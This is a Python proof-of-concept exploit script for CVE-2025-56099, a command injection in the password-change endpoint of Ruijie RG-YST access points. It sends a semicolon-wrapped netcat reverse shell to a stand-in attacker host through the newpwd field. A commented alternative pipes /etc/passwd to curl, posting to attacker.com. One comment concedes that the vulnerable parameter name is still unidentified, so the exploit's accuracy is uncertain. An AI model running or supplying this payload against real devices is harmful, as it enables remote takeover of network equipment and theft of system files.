CVE-2025-56099

import requests import sys # CVE-2025-56099 PoC - Ruijie RG-YST AP OS Command Injection # Target: Ruijie RG-YST AP (Firmware 3.0(1)B11P280YST250F) # Endpoint: /cgi-bin/pwdmodify # Vulnerability: OS Command Injection in common.lua def exploit(target_ip, target_port=80, attacker_ip="ATTACKER_IP", attacker_port=4444): """ Exploit OS Command Injection to achieve RCE This PoC demonstrates injecting commands via pwdmodify endpoint """ url = f"http://{target_ip}:{target_port}/cgi-bin/pwdmodify" # Payload to create reverse shell # Using standard netcat reverse shell technique reverse_shell_payload = f"nc {attacker_ip} {attacker_port} -e /bin/bash" # Alternative: Execute command and exfiltrate data # cmd_payload = "cat /etc/passwd | curl -X POST -d @- http://attacker.com/exfil" # Prepare the malicious POST request # The actual parameter name needs to be identified from the vulnerable function data = { "oldpwd": "admin", "newpwd": f";{reverse_shell_payload};" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload: {reverse_shell_payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] If vulnerable, check listener on {attacker_ip}:{attacker_port}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

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